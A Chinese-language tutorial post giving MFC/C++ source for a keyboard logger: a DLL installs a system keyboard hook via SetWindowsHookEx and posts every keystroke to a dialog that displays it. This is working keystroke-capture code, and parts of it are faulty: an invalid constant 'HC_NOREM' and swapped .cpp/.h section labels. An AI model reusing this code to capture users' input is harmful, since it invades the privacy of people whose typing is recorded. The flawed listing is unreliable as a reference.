本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:
主程序如下:
就是基于对话框的框架,加个个OnHookKey函数,
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息
{
char szKey[80]={0};
GetKeyNameText(lParam, szKey, 80);
CString strItem;
strItem.Format("按键:%s\r\n", szKey);
CString strEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return 0;
}
在初始化时,调用DLL中的:
SetKeyHook(TRUE, 0, m_hWnd)
在析构时,调用DLL中的:
SetKeyHook(FALSE);
.cpp源文件代码:
#include <afxwin.h>
#define HM_KEY WM_USER+100
//CMyApp
class CMyApp:public CWinApp
{
public:
BOOL InitInstance();
};
//CMyDialog
class CMainDialog:public CDialog
{
public:
CMainDialog(CWnd* pParentWnd = NULL);
protected:
virtual BOOL OnInitDialog( );
afx_msg void OnCancel();
afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //处理自定义消息的声明
DECLARE_MESSAGE_MAP()
};
.h头文件代码:
#include "resource.h"
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment(lib,"KeyHook.lib")
CMyApp theApp;
BOOL CMyApp::InitInstance()
{
CMainDialog dlg;
m_pMainWnd = &dlg; //给m_pMainWnd 主窗口
dlg.DoModal();
return FALSE; //不进入消息循环
}
BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息
END_MESSAGE_MAP()
//CMainDialog
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
{
}
BOOL CMainDialog::OnInitDialog( )
{
CDialog::OnInitDialog();
if (!SetKeyHook(TRUE, 0, m_hWnd))
{
MessageBox("安装钩子失败");
}
return TRUE;
}
//处理关闭消息
void CMainDialog::OnCancel()
{
OutputDebugString("oncancel");
SetKeyHook(FALSE);
CDialog::OnCancel();
return;
}
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //处理自定义消息
{
char szKey[80]={0};
GetKeyNameText(lParam, szKey, 80);
CString strItem;
strItem.Format("按键:%s\r\n", szKey);
CString strEdit;
GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
::MessageBeep(MB_OK);
return 0;
}
dll的代码:
.cpp源文件代码:
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include "KeyHook.h"
//共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller=NULL; //保存主窗口句柄
HHOOK g_hHook = NULL; //保存钩子句柄
#pragma data_seg()
// 这是导出变量的一个示例
KEYHOOK_API int nKeyHook=0;
// 这是导出函数的一个示例。
KEYHOOK_API int fnKeyHook(void)
{
return 42;
}
//通过内存得到模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
{
MEMORY_BASIC_INFORMATION mbi;
if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))
{
return (HMODULE)mbi.AllocationBase;
}
else
{
return NULL;
}
}
//钩子处理函数
LRESULT CALLBACK KeyboardProc(
__in int code,
__in WPARAM wParam,
__in LPARAM lParam
)
{
if (code<0||code==HC_NOREM)
{
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//如果重复消息,交给下一链
if (lParam & 0x40000000)
{
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//通知主窗口
::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);
return ::CallNextHookEx(g_hHook, code, wParam,lParam);
}
//安装和卸载钩子函数
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
BOOL bRet = TRUE;
g_hWndCaller = hWndCaller;
if (bInstall) //安装钩子
{
g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
bRet = (g_hHook != NULL);
}
else //卸载钩子
{
::UnhookWindowsHookEx(g_hHook);
g_hHook = NULL;
}
return bRet;
}
// 这是已导出类的构造函数。
// 有关类定义的信息,请参阅 KeyHook.h
CKeyHook::CKeyHook()
{
return;
}
.h头文件代码:
// 下列 ifdef 块是创建使从 DLL 导出更简单的
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS
// 符号编译的。在使用此 DLL 的
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的
// 符号视为是被导出的。
#ifdef KEYHOOK_EXPORTS
#define KEYHOOK_API __declspec(dllexport)
#else
#define KEYHOOK_API __declspec(dllimport)
#endif
#define HM_KEY WM_USER + 100
// 此类是从 KeyHook.dll 导出的
class KEYHOOK_API CKeyHook {
public:
CKeyHook(void);
// TODO: 在此添加您的方法。
};
extern KEYHOOK_API int nKeyHook;
KEYHOOK_API int fnKeyHook(void);
//声明要导出的
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def代码:
EXPORTS
SetKeyHook
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希望本文所述对大家的C++程序设计有所帮助。